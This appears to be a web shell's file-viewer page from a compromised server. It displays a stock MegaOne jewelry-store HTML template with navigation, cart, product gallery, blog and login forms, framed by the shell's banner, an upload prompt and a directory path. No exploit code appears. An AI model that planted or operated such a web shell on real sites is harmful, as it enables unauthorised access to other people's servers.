?

áEÓê¤ÎïLwebshll2019

Current Path : /home/webyoo/www/backup/allback/docteur-site/cv/sym/a/events/crm/
Upload File :
Current File : /home/webyoo/www/backup/allback/docteur-site/cv/sym/a/events/crm/index-jewelry.html

<!DOCTYPE html>
<html lang="en">
<head>
    <!-- Meta Tags -->
    <meta charset="utf-8">
    <meta content="width=device-width, initial-scale=1, shrink-to-fit=no" name="viewport">
    <!-- Author -->
    <meta name="author" content="Themes Industry">
    <!-- description -->
    <meta name="description" content="MegaOne is a highly creative, modern, visually stunning and Bootstrap responsive multipurpose studio and portfolio HTML5 template with 8 ready home page demos.">
    <!-- keywords -->
    <meta name="keywords" content="Creative, modern, clean, bootstrap responsive, html5, css3, portfolio, blog, studio, templates, multipurpose, one page, corporate, start-up, studio, branding, designer, freelancer, carousel, parallax, photography, studio, masonry, grid, faq">
    <!-- Page Title -->
    <title>Jewelry | MegaOne HTML5 Template</title>
    <!-- Favicon -->
    <link rel="icon" href="jewelry/img/favicon.ico">
    <!-- Bundle -->
    <link rel="stylesheet" href="vendor/css/bundle.min.css">
    <!-- Plugin Css -->
    <link rel="stylesheet" href="vendor/css/cubeportfolio.min.css">
    <link rel="stylesheet" href="vendor/css/owl.carousel.min.css">
    <link rel="stylesheet" href="jewelry/css/animate.min.css">
    <link rel="stylesheet" href="jewelry/css/jquery.fancybox.css">
    <link rel="stylesheet" href="jewelry/css/jquery.fancybox.min.css">
    <link rel="stylesheet" href="vendor/css/line-awesome.min.css">
    <!-- Style Sheet -->
    <link rel="stylesheet" href="jewelry/css/style.css">
    <link rel="stylesheet" href="jewelry/css/settings.css">
</head>

<body data-spy="scroll" data-target=".navbar" data-offset="150">


<!--  PRELOADER  -->
<div class="loader-area">
    <div id='spin-wrap'>
        <div id='spin'></div>
    </div>
</div>


<!-- START NAVBAR SECTION -->
<header>

    <!--    NAVBAR FOR LARGE SCREEN-->
    <nav id="my-nav1" class="navbar navbar-expand-sm navbar-light rounded-bar transparent-bar">

        <div class="container bg-trans-color">
            <div class="logo">
                <a href="#home" class="scroll"><img src="jewelry/img/logo-black.png" alt="Logo Img"></a>
            </div>

            <div class="ml-auto mr-auto small-screen">
                <div class="banner-icons">
                    <a><span class="open_search"><i class="las la-search icons"></i> </span></a>

                    <div class="search_block">
                        <div class="search_box animated wow fadeInUp">
                            <div class="inner">
                                <input type="text" name="search" id="search1" class="search_input" autocomplete="off" placeholder="Enter Your Keywords.." />

                                <button class="search_icon glyphicon glyphicon-search"><i class="fas fa-search"></i> </button>

                            </div>
                        </div>
                        <div class="search-overlay"></div>

                    </div>
                </div>

                <div class="banner-icons">

                    <a class="dropdown-toggle" data-toggle="dropdown">
                        <i class="las la-shopping-cart icons"></i></a>

                    <div class="dropdown-menu dropdown-menu-right dropdown-cart">
                        <div class="arrow">
                            <i class="fas fa-caret-up user-utiliity-caret"></i>

                            <div class="dropdown-heading text-center">
                                My Cart </div>

                            <div class="mini-cart-content">
                                <div class="cart-content d-flex mb-2">
                                    <div class="cart-img">
                                        <a href="jewelry/blog.html">
                                            <img src="jewelry/img/cart1.jpg" alt="blog img">
                                        </a>
                                    </div>
                                    <div class="cart-text mt-auto mb-auto text-black">
                                        <p class="mt-auto cart-heading text-left">Diamond Ring<br>
                                            <span class="quantity mb-5">Quantity: 1</span><br>
                                            <span class="price mt-2">$760</span></p>
                                    </div>
                                </div>

                                <div class="cart-content d-flex mb-2">
                                    <div class="cart-img">
                                        <img src="jewelry/img/cart2.jpg" alt="blog img">
                                    </div>

                                    <div class="cart-text mt-auto mb-auto text-black">
                                        <p class="mt-auto cart-heading text-left">Gold Bracelet<br>
                                            <span class="quantity mb-5">Quantity: 1</span><br>
                                            <span class="price mt-2">$80</span></p>
                                    </div>
                                </div>

                                <div class="cart-content d-flex mb-2">
                                    <div class="cart-img">
                                        <img src="jewelry/img/cart3.jpg" alt="blog img">
                                    </div>

                                    <div class="cart-text mt-auto mb-auto text-black">
                                        <p class="mt-auto cart-heading text-left">Simple Earrings<br>
                                            <span class="quantity mb-5">Quantity: 1</span><br>
                                            <span class="price mt-2">$60</span></p>
                                    </div>
                                </div>
                            </div>

                            <div class="cart-btn d-flex justify-content-center">
                                <a href="jewelry/cart.html" class="btn btn-slider btn-small trans-btn mr-3">View Cart</a>
                                <a href="jewelry/cart.html" class="btn btn-slider btn-small trans-btn">Checkout</a>
                            </div>

                        </div>
                    </div>
                </div>

                <div class="banner-icons">
                    <a class="dropdown-toggle" data-toggle="dropdown">
                        <i class="las la-user icons"></i></a>
                    <div class="dropdown-menu dropdown-menu-right">
                        <div class="arrow">
                            <i class="fas fa-caret-up user-utiliity-caret1"></i>
                            <div class="dropdown-heading text-center">
                                My Account </div>
                            <a class="dropdown-item"  data-toggle="modal" data-target="#modal1">
                                <i class="las la-caret-right"></i> Register </a>
                            <a class="dropdown-item"  data-toggle="modal" data-target="#modal2">
                                <i class="las la-caret-right"></i> Login </a>
                        </div>
                    </div>
                </div>
            </div>

            <div class="my-tog-btn">
                <span></span>
                <span></span>
                <span></span>
            </div>

            <div class="collapse navbar-collapse" id="navbarSupportedContent1" >
                <div class="collapse navbar-collapse">
                    <ul id="primary" class="navbar-nav ml-auto mr-auto">

                        <li class="nav-item">
                            <a class="nav-link" href="#home">Home</a>
                        </li>
                        <li class="nav-item">
                            <a class="nav-link" href="jewelry/about.html">About</a>
                        </li>
                        <li class="nav-item">
                            <a class="nav-link" href="jewelry/shop.html">Shop</a>
                        </li>
                        <li class="nav-item">
                            <a class="nav-link" href="jewelry/blog.html">Blog</a>
                        </li>
                        <li class="nav-item">
                            <a class="nav-link" href="jewelry/contact.html">Contact</a>
                        </li>
                    </ul>

                    <div class="banner-icons">
                        <a><span class="open_search"><i class="las la-search icons"></i> </span></a>

                        <div class="search_block">
                            <div class="search_box animated wow fadeInUp">
                                <div class="inner">
                                    <input type="text" name="search" id="search" class="search_input" autocomplete="off" placeholder="Enter Your Keywords.." />

                                    <button class="search_icon glyphicon glyphicon-search"><i class="fas fa-search"></i> </button>

                                </div>
                            </div>
                            <div class="search-overlay"></div>

                        </div>
                    </div>

                    <div class="banner-icons pl-1">

                        <a class="dropdown-toggle" data-toggle="dropdown">
                            <i class="las la-shopping-cart icons"></i></a>

                        <div class="dropdown-menu dropdown-menu-right dropdown-cart">
                            <div class="arrow">
                                <i class="fas fa-caret-up user-utiliity-caret"></i>

                                <div class="dropdown-heading text-center">
                                    My Cart </div>

                                <div class="mini-cart-content">
                                    <div class="cart-content d-flex mb-2">
                                        <div class="cart-img">
                                            <a href="jewelry/blog.html">
                                                <img src="jewelry/img/cart1.jpg" alt="blog img">
                                            </a>
                                        </div>
                                        <div class="cart-text mt-auto mb-auto text-black">
                                            <p class="mt-auto cart-heading text-left">Diamond Ring<br>
                                                <span class="quantity mb-5">Quantity: 1</span><br>
                                                <span class="price mt-2">$760</span></p>
                                        </div>
                                    </div>

                                    <div class="cart-content d-flex mb-2">
                                        <div class="cart-img">
                                            <img src="jewelry/img/cart2.jpg" alt="blog img">
                                        </div>

                                        <div class="cart-text mt-auto mb-auto text-black">
                                            <p class="mt-auto cart-heading text-left">Gold Bracelet<br>
                                                <span class="quantity mb-5">Quantity: 1</span><br>
                                                <span class="price mt-2">$80</span></p>
                                        </div>
                                    </div>

                                    <div class="cart-content d-flex mb-2">
                                        <div class="cart-img">
                                            <img src="jewelry/img/cart3.jpg" alt="blog img">
                                        </div>

                                        <div class="cart-text mt-auto mb-auto text-black">
                                            <p class="mt-auto cart-heading text-left">Simple Earrings<br>
                                                <span class="quantity mb-5">Quantity: 1</span><br>
                                                <span class="price mt-2">$60</span></p>
                                        </div>
                                    </div>
                                </div>

                                <div class="cart-btn d-flex justify-content-center">
                                    <a href="jewelry/cart.html" class="btn btn-slider btn-small trans-btn mr-3">View Cart</a>
                                    <a href="jewelry/cart.html" class="btn btn-slider btn-small trans-btn">Checkout</a>
                                </div>

                            </div>
                        </div>
                    </div>

                    <div class="banner-icons pl-1">
                        <a class="dropdown-toggle" data-toggle="dropdown">
                            <i class="las la-user icons"></i></a>
                        <div class="dropdown-menu dropdown-menu-right">
                            <div class="arrow">
                                <i class="fas fa-caret-up user-utiliity-caret1"></i>
                                <div class="dropdown-heading text-center">
                                    My Account </div>
                                <a class="dropdown-item"  data-toggle="modal" data-target="#modal1">
                                    <i class="las la-caret-right"></i> Register </a>
                                <a class="dropdown-item"  data-toggle="modal" data-target="#modal2">
                                    <i class="las la-caret-right"></i> Login </a>
                            </div>
                        </div>
                    </div>
                </div>
            </div>
        </div>
    </nav>


    <!--MODEL WINDOW FOR NAVBAR-->
    <div class="outer-window">
        <div class="navbar_small">
            <a class="close-outerwindow"><i class="las la-times"></i>
            </a>
            <div class="logo">
                <a href="#home" class="scroll"><img src="jewelry/img/logo-black.png" alt="Logo Img"></a>
            </div>

        </div>
        <nav class="navbar1">
            <ul class="navbar-nav">
                <li class="nav-item"><a class="nav-link" href="#home">Home</a></li>
                <li class="nav-item"><a class="nav-link" href="jewelry/about.html">About</a></li>
                <li class="nav-item"><a class="nav-link" href="jewelry/shop.html">Shop</a></li>
                <li class="nav-item"><a class="nav-link" href="jewelry/blog.html">Blog</a></li>
                <li class="nav-item"><a class="nav-link" href="jewelry/contact.html">Contact</a></li>
            </ul>
        </nav>
    </div>

</header>


<section id="home" class="home bg-banner-img">
    <div class="container">
    <div class="row height">
        <div class="col-12 col-md-5 height">
            <div class="height d-flex align-items-center">
            <div class="slider-text">
                <h5 class="heading mb-3 text-black">Simple & Elegant</h5>
                <h1 class="main-heading mb-3 text-black">Luxury Collection</h1>
                <a href="#bridal-wear" class="btn btn-slider trans-btn">Read More</a>
            </div>
            </div>
        </div>
    </div>
    </div>
</section>

<section id="bridal-wear" class="bridal-wear">
        <div class="row no-gutters">
            <div class="col-12 col-md-6 order-2 order-md-1">
                <div class="bridal-img">
                    <img  src="jewelry/img/bridal-wear.jpg" alt="image">
                </div>
            </div>
            <div class="col-12 col-md-6 order-1 order-sm-2">
                <div class="bridal-content">
                <div class="bridal-img">
                    <img src="jewelry/img/bridal-wear1.jpg" alt="image">
                </div>
                <div class="bridal-wear-content">
                    <div class="overlay">
                        <div class="height1 d-flex justify-content-center align-items-center text-center">
                            <div class="content">
                                <h5 class="heading mb-3 text-black">Simple & Elegant</h5>
                                <h1 class="main-heading mb-3 text-black">Bridal<br> Collection</h1>
                                <a href="jewelry/shop.html" class="btn btn-slider trans-btn">Read More</a>
                            </div>
                        </div>
                    </div>
                </div>
                </div>
            </div>
        </div>
</section>

<section id="gold-wear" class="gold-wear">
    <div class="row no-gutters">
        <div class="col-12 col-md-6">
            <div class="bridal-content">
            <div class="bridal-img">
                <img src="jewelry/img/gold1.jpg" alt="image">
            </div>
            <div class="bridal-wear-content">
                <div class="overlay">
                    <div class="height1 d-flex justify-content-center align-items-center text-center">
                        <div class="content">
                            <h5 class="heading mb-3 text-black">Simple & Elegant</h5>
                            <h1 class="main-heading mb-3 text-black">Gold<br> Collection</h1>
                            <a href="jewelry/shop.html" class="btn btn-slider trans-btn">Read More</a>
                        </div>
                        </div>
                    </div>
                </div>
            </div>
        </div>

        <div class="col-12 col-md-6 bridal-img1">
            <div class="bridal-img">
                <img src="jewelry/img/gold.jpg" alt="image">
            </div>

        </div>
    </div>
</section>

<section id="diamond-wear" class="diamond-wear">
    <div class="row no-gutters">
        <div class="col-12 col-md-6 order-2 order-sm-1">
            <div class="bridal-img">
                <img src="jewelry/img/diamond.jpg" alt="image">
            </div>
        </div>
        <div class="col-12 col-md-6 order-1 order-sm-2">
            <div class="bridal-content">
            <div class="bridal-img">
                <img src="jewelry/img/diamond1.jpg" alt="image">
            </div>
            <div class="bridal-wear-content">
                <div class="overlay">
                    <div class="height1 d-flex justify-content-center align-items-center text-center">
                        <div class="content">
                            <h5 class="heading mb-3 text-black">Simple & Elegant</h5>
                            <h1 class="main-heading mb-3 text-black">Diamond<br> Collection</h1>
                            <a href="jewelry/shop.html" class="btn btn-slider trans-btn">Read More</a>
                        </div>
                    </div>
                </div>
            </div>
        </div>
        </div>
    </div>
</section>

<section id="product" class="product">
    <div class="container">
        <div class="row">
            <div class="col-md-8 offset-md-2 col-sm-12 text-center">
                <div class="product-text">
                    <h5 class="heading text-black">Simple & Elegant</h5>
                    <h1 class="main-heading text-black">Our Products</h1>
                </div>
            </div>
        </div>

        <div class="row">
            <div class="col-md-8 offset-md-2 col-sm-12 text-center">
                <div class="wow zoomIn" data-wow-delay="250ms" data-wow-duration="1.5s" style="visibility: visible; animation-delay: 250ms; animation-name: zoomIn;">
                    <div id="flat-filters" class="cbp-l-filters dark bottom30">
                        <div data-filter=".top" class="cbp-filter-item product-filter">
                            <span>Top Sellers</span>
                        </div>
                        <div data-filter=".sale" class="cbp-filter-item product-filter">
                            <span>Sale</span>
                        </div>
                        <div data-filter=".rated" class="cbp-filter-item product-filter">
                            <span>Top Rated</span>
                        </div>
                        <div data-filter=".featured" class="cbp-filter-item product-filter">
                            <span>Featured</span>
                        </div>
                    </div>
                </div>
            </div>
        </div>

        <div class="wow fadeInUp" data-wow-delay="250ms" data-wow-duration="1.5s" style="visibility: visible; animation-delay: 250ms; animation-name: fadeInUp;">
            <div id="flat-gallery" class="cbp">

                <div class="cbp-item graphic rated">
                    <div class="product-hover-effect">
                        <div class="overlay1">
                            <ul class="product-icons">
                                <li class="overlay-icons"><a href="jewelry/detail.html"><i class="las la-plus verticle-line"></i></a></li>
                                <li class="overlay-icons"><a href="jewelry/cart.html"><i class="las la-shopping-cart verticle-line"></i></a></li>
                                <li class="overlay-icons"><a href="#"><i class="lar la-heart mr-3"></i></a></li>
                            </ul>
                        </div>

                        <a href="jewelry/img/portfolio5.jpg"  data-fancybox="gallery1"></a><img src="jewelry/img/portfolio5.jpg" alt="image">
                    </div>
                </div>

                <div class="cbp-item graphic top">
                    <div class="product-hover-effect">
                        <div class="overlay1">
                            <ul class="product-icons">
                                <li class="overlay-icons"><a href="jewelry/detail.html"><i class="las la-plus verticle-line"></i></a></li>
                                <li class="overlay-icons"><a href="jewelry/cart.html"><i class="las la-shopping-cart verticle-line"></i></a></li>
                                <li class="overlay-icons"><a href="#"><i class="lar la-heart mr-3"></i></a></li>
                            </ul>
                        </div>
                        <a href="jewelry/img/portfolio1.jpg"  data-fancybox="gallery1"></a><img src="jewelry/img/portfolio1.jpg" alt="image">
                    </div>
                </div>

                <div class="cbp-item graphic top">
                    <div class="product-hover-effect">
                        <div class="overlay1">
                            <ul class="product-icons">
                                <li class="overlay-icons"><a href="jewelry/detail.html"><i class="las la-plus verticle-line"></i></a></li>
                                <li class="overlay-icons"><a href="jewelry/cart.html"><i class="las la-shopping-cart verticle-line"></i></a></li>
                                <li class="overlay-icons"><a href="#"><i class="lar la-heart mr-3"></i></a></li>
                            </ul>
                        </div>
                        <a href="jewelry/img/portfolio3.jpg"  data-fancybox="gallery1"></a><img src="jewelry/img/portfolio3.jpg" alt="image">
                    </div>
                </div>

                <div class="cbp-item graphic sale">
                    <div class="product-hover-effect">
                        <div class="overlay1">
                            <ul class="product-icons">
                                <li class="overlay-icons"><a href="jewelry/detail.html"><i class="las la-plus verticle-line"></i></a></li>
                                <li class="overlay-icons"><a href="jewelry/cart.html"><i class="las la-shopping-cart verticle-line"></i></a></li>
                                <li class="overlay-icons"><a href="#"><i class="lar la-heart mr-3"></i></a></li>
                            </ul>
                        </div>
                        <a href="jewelry/img/portfolio4.jpg"  data-fancybox="gallery1"></a><img src="jewelry/img/portfolio4.jpg" alt="image">
                    </div>
                </div>

                <div class="cbp-item graphic featured">
                    <div class="product-hover-effect">
                        <div class="overlay1">
                            <ul class="product-icons">
                                <li class="overlay-icons"><a href="jewelry/detail.html"><i class="las la-plus verticle-line"></i></a></li>
                                <li class="overlay-icons"><a href="jewelry/cart.html"><i class="las la-shopping-cart verticle-line"></i></a></li>
                                <li class="overlay-icons"><a href="#"><i class="lar la-heart mr-3"></i></a></li>
                            </ul>
                        </div>
                        <a href="jewelry/img/portfolio2.jpg"  data-fancybox="gallery1"></a><img src="jewelry/img/portfolio2.jpg" alt="image">
                    </div>
                </div>

                <div class="cbp-item graphic rated">
                    <div class="product-hover-effect">
                        <div class="overlay1">
                            <ul class="product-icons">
                                <li class="overlay-icons"><a href="jewelry/detail.html"><i class="las la-plus verticle-line"></i></a></li>
                                <li class="overlay-icons"><a href="jewelry/cart.html"><i class="las la-shopping-cart verticle-line"></i></a></li>
                                <li class="overlay-icons"><a href="#"><i class="lar la-heart mr-3"></i></a></li>
                            </ul>
                        </div>
                        <a href="jewelry/img/portfolio6.jpg"  data-fancybox="gallery1"></a><img src="jewelry/img/portfolio6.jpg" alt="image">
                    </div>
                </div>

                <div class="cbp-item graphic sale">
                    <div class="product-hover-effect">
                        <div class="overlay1">
                            <ul class="product-icons">
                                <li class="overlay-icons"><a href="jewelry/detail.html"><i class="las la-plus verticle-line"></i></a></li>
                                <li class="overlay-icons"><a href="jewelry/cart.html"><i class="las la-shopping-cart verticle-line"></i></a></li>
                                <li class="overlay-icons"><a href="#"><i class="lar la-heart mr-3"></i></a></li>
                            </ul>
                        </div>
                        <a href="jewelry/img/portfolio7.jpg"  data-fancybox="gallery1"></a><img src="jewelry/img/portfolio7.jpg" alt="image">
                    </div>
                </div>

                <div class="cbp-item graphic top">
                    <div class="product-hover-effect">
                        <div class="overlay1">
                            <ul class="product-icons">
                                <li class="overlay-icons"><a href="jewelry/detail.html"><i class="las la-plus verticle-line"></i></a></li>
                                <li class="overlay-icons"><a href="jewelry/cart.html"><i class="las la-shopping-cart verticle-line"></i></a></li>
                                <li class="overlay-icons"><a href="#"><i class="lar la-heart mr-3"></i></a></li>
                            </ul>
                        </div>
                        <a href="jewelry/img/portfolio8.jpg"  data-fancybox="gallery1"></a><img src="jewelry/img/portfolio8.jpg" alt="image">
                    </div>
                </div>

                <div class="cbp-item graphic featured">
                    <div class="product-hover-effect">
                        <div class="overlay1">
                            <ul class="product-icons">
                                <li class="overlay-icons"><a href="jewelry/detail.html"><i class="las la-plus verticle-line"></i></a></li>
                                <li class="overlay-icons"><a href="jewelry/cart.html"><i class="las la-shopping-cart verticle-line"></i></a></li>
                                <li class="overlay-icons"><a href="#"><i class="lar la-heart mr-3"></i></a></li>
                            </ul>
                        </div>
                        <a href="jewelry/img/portfolio9.jpg"  data-fancybox="gallery1"></a><img src="jewelry/img/portfolio9.jpg" alt="image">
                    </div>
                </div>

                <div class="cbp-item graphic rated">
                    <div class="product-hover-effect">
                        <div class="overlay1">
                            <ul class="product-icons">
                                <li class="overlay-icons"><a href="jewelry/detail.html"><i class="las la-plus verticle-line"></i></a></li>
                                <li class="overlay-icons"><a href="jewelry/cart.html"><i class="las la-shopping-cart verticle-line"></i></a></li>
                                <li class="overlay-icons"><a href="#"><i class="lar la-heart mr-3"></i></a></li>
                            </ul>
                        </div>
                        <a href="jewelry/img/portfolio10.jpg"  data-fancybox="gallery1"></a><img src="jewelry/img/portfolio10.jpg" alt="image">
                    </div>
                </div>

                <div class="cbp-item graphic top">
                    <div class="product-hover-effect">
                        <div class="overlay1">
                            <ul class="product-icons">
                                <li class="overlay-icons"><a href="jewelry/detail.html"><i class="las la-plus verticle-line"></i></a></li>
                                <li class="overlay-icons"><a href="jewelry/cart.html"><i class="las la-shopping-cart verticle-line"></i></a></li>
                                <li class="overlay-icons"><a href="#"><i class="lar la-heart mr-3"></i></a></li>
                            </ul>
                        </div>
                        <a href="jewelry/img/portfolio11.jpg"  data-fancybox="gallery1"></a><img src="jewelry/img/portfolio11.jpg" alt="image">
                    </div>
                </div>

                <div class="cbp-item graphic sale">
                    <div class="product-hover-effect">
                        <div class="overlay1">
                            <ul class="product-icons">
                                <li class="overlay-icons"><a href="jewelry/detail.html"><i class="las la-plus verticle-line"></i></a></li>
                                <li class="overlay-icons"><a href="jewelry/cart.html"><i class="las la-shopping-cart verticle-line"></i></a></li>
                                <li class="overlay-icons"><a href="#"><i class="lar la-heart mr-3"></i></a></li>
                            </ul>
                        </div>
                        <a href="jewelry/img/portfolio12.jpg"  data-fancybox="gallery1"></a><img src="jewelry/img/portfolio12.jpg" alt="image">
                    </div>
                </div>
        </div>
        </div>
    </div>
</section>

<section id="discount" class="discount bg-discount">
    <div class="overlay-discount">
        <div class="container height1">
            <div class="row height1">
                <div class="col-0 col-md-8 col-display"></div>
                <div class="col-12 col-md-4 d-flex justify-content-center align-items-center">
                    <div class="content text-center text-md-right">
                        <h5 class="heading mb-3 text-black">Simple & Elegant</h5>
                        <h1 class="main-heading mb-3 text-black">Upto 25%<br>Discount</h1>
                        <a href="#" class="btn btn-slider trans-btn">Shop Now</a>
                    </div>
                </div>
            </div>
        </div>
    </div>
</section>

<section id="blog" class="blog">
    <div class="container">
        <div class="row">
            <div class="col-md-8 offset-md-2 col-sm-12 text-center">
                <div class="product-text">
                    <h5 class="heading text-black">Simple & Elegant</h5>
                    <h1 class="main-heading text-black">Our Blogs</h1>
                </div>
            </div>
        </div>

        <div class="row">
            <div class="col-12">

                <div class="owl-carousel owl-theme no-gutters" id="blog-carousal">
                    <div class="item blog-item">
                        <div class="blog-img">
                            <a href="jewelry/blog.html">
                                <img src="jewelry/img/blog1.jpg" alt="blog img">
                            </a>
                        </div>

                        <div class="blog-text text-center">
                            <div class="date d-flex justify-content-center text-black">
                                <p class="mb-0 text-black sub-heading mr-3">20 March 2020</p>
                                <p class="text-black sub-heading">by John</p>
                            </div>
                            <div class="info-blog mb-3">
                                <a href="jewelry/blog.html" class="text-decoration-none"><h4 class="text-black mb-3 mt-2 blog-heading">Wedding Jewelry: For Bride</h4></a>
                            </div>
                            <a href="jewelry/blog.html " class="btn btn-slider trans-btn">Read More</a>
                        </div>
                     </div>

                    <div class="item blog-item">
                        <div class="blog-img">
                            <a href="jewelry/blog.html">
                                <img src="jewelry/img/blog3.jpg" alt="blog img">
                            </a>
                        </div>

                        <div class="blog-text text-center">
                            <div class="date d-flex justify-content-center text-black">
                                <p class="mb-0 text-black sub-heading mr-3">20 March 2020</p>
                                <p class="text-black sub-heading">by John</p>
                            </div>
                            <div class="info-blog mb-3">
                                <a href="jewelry/blog.html" class="text-decoration-none"><h4 class="text-black mb-3 mt-2 blog-heading">Stunning Collection: For All</h4></a>
                            </div>
                            <a href="jewelry/blog.html" class="btn btn-slider trans-btn">Read More</a>
                        </div>
                     </div>

                    <div class="item blog-item">
                        <div class="blog-img">
                            <a href="jewelry/blog.html">
                                <img src="jewelry/img/blog2.jpg" alt="blog img">
                            </a>
                        </div>

                        <div class="blog-text text-center">
                            <div class="date d-flex justify-content-center text-black">
                                <p class="mb-0 text-black sub-heading mr-3">20 March 2020</p>
                                <p class="text-black sub-heading">by John</p>
                            </div>
                            <div class="info-blog mb-3">
                                <a href="jewelry/blog.html" class="text-decoration-none"><h4 class="text-black mb-3 mt-2 blog-heading">Midi Rings: A Must-Have</h4></a>
                            </div>
                            <a href="jewelry/blog.html" class="btn btn-slider trans-btn">Read More</a>
                        </div>
                    </div>

                    <div class="item blog-item">
                        <div class="blog-img">
                            <a href="jewelry/blog.html">
                                <img src="jewelry/img/blog4.jpg" alt="blog img">
                            </a>
                        </div>

                        <div class="blog-text text-center">
                            <div class="date d-flex justify-content-center text-black">
                                <p class="mb-0 text-black sub-heading mr-3">20 March 2020</p>
                                <p class="text-black sub-heading">by John</p>
                            </div>
                            <div class="info-blog mb-3">
                                <a href="jewelry/blog.html" class="text-decoration-none"><h4 class="text-black mb-3 mt-2 blog-heading">Engagement Ring: Custom</h4></a>
                            </div>
                            <a href="jewelry/blog.html" class="btn btn-slider trans-btn">Read More</a>
                        </div>
                    </div>
                </div>

            </div>
        </div>
    </div>
</section>

<section id="footer" class="footer">
    <div class="container">
        <div class="row">
            <div class="col-12 text-center">
                <ul class="footer_ul">
                    <li class="footer_list"><i class="lab la-facebook-f"></i></li>
                    <li class="footer_list"><i class="lab la-twitter"></i></li>
                    <li class="footer_list"><i class="lab la-google-plus"></i></li>
                    <li class="footer_list"><i class="lab la-linkedin-in"></i></li>
                    <li class="footer_list"><i class="lab la-instagram"></i></li>
                    <li class="footer_list"><i class="las la-envelope"></i></li>
                </ul>
                <p class="info footer_text"><i class="far fa-copyright"></i>2020 MegaOne. Made with love by themesindustry</p>
            </div>
        </div>
    </div>
</section>

<!--MODEL WINDOW FOR REGISTRATION-->
<div class="modal hide fade" id="modal1" tabindex="-1" role="dialog" aria-labelledby="myModalLabel" aria-hidden="true" style="display: none;">
    <div class="modal-dialog">
        <div class="modal-content">
            <div class="modal-body">
                <form class="appointment-form" id="appointment-form">
                    <button type="button" class="close text-black" data-dismiss="modal" aria-label="Close">
                        <span aria-hidden="true">
                            <i class="las la-times"></i>
                        </span>
                    </button>
                    <h1 class="form-tittle">Register Now</h1>
                    <div class="form-group-1">
                        <input type="text" name="name" id="name" placeholder="Full Name" required />
                        <input type="email" name="email" id="email" placeholder="Email" required />
                        <input type="password" name="title" id="title" placeholder="Password" required />
                        <input type="password" name="title" id="pasword" placeholder="Confirm Password" required />
                    </div>

                    <button type="button" class="btn btn-slider btn-small trans-btn w-100 mt-3" id="submit_btn" onclick="send_mails();">Register Now</button>
                </form>

            </div>
        </div>
    </div>
</div>

<!--MODEL WINDOW FOR LOGIN-->
<div class="modal hide fade" id="modal2" tabindex="-1" role="dialog" aria-labelledby="myModalLabel" aria-hidden="true" style="display: none;">
    <div class="modal-dialog">
        <div class="modal-content">
            <div class="modal-body">
                <form class="appointment-form">
                    <button type="button" class="close text-black" data-dismiss="modal" aria-label="Close">
                        <span aria-hidden="true">
                            <i class="las la-times"></i>
                        </span>
                    </button>
                    <h1 class="form-tittle">Login</h1>
                    <div class="form-group-1">
                        <input type="email" name="email" id="email2" placeholder="Email" required />
                        <input type="password" name="title" id="title2" placeholder="Password" required />
                    </div>
                    <button type="button" class="btn btn-slider btn-small trans-btn w-100 mt-3" id="submit_btn2" onclick="send_mails();">Login</button>
                </form>
            </div>

        </div>
    </div>
</div>



<!-- JavaScript -->
<script src="vendor/js/bundle.min.js"></script>

<!-- Plugin Js -->
<script src="vendor/js/owl.carousel.min.js"></script>
<script src="vendor/js/jquery.cubeportfolio.min.js"></script>
<!-- REVOLUTION JS FILES -->
<script src="vendor/js/jquery.themepunch.tools.min.js"></script>
<script src="vendor/js/jquery.themepunch.revolution.min.js"></script>
<!-- SLIDER REVOLUTION EXTENSIONS -->
<script src="vendor/js/extensions/revolution.extension.actions.min.js"></script>
<script src="vendor/js/extensions/revolution.extension.carousel.min.js"></script>
<script src="vendor/js/extensions/revolution.extension.kenburn.min.js"></script>
<script src="vendor/js/extensions/revolution.extension.layeranimation.min.js"></script>
<script src="vendor/js/extensions/revolution.extension.migration.min.js"></script>
<script src="vendor/js/extensions/revolution.extension.navigation.min.js"></script>
<script src="vendor/js/extensions/revolution.extension.parallax.min.js"></script>
<script src="vendor/js/extensions/revolution.extension.slideanims.min.js"></script>
<script src="vendor/js/extensions/revolution.extension.video.min.js"></script>

<!-- custom script -->
<script src="jewelry/js/jquery.fancybox.js"></script>
<script src="jewelry/js/jquery.fancybox.min.js"></script>
<script src="vendor/js/owl.carousel.min.js"></script>
<script src="jewelry/js/mediaelement-and-player.min.js"></script>
<script src="jewelry/js/wow.min.js"></script>
<script src="vendor/js/parallaxie.min.js"></script>
<script src="jewelry/js/.js"></script>
</body>
</html>



web shell, Coded By 2019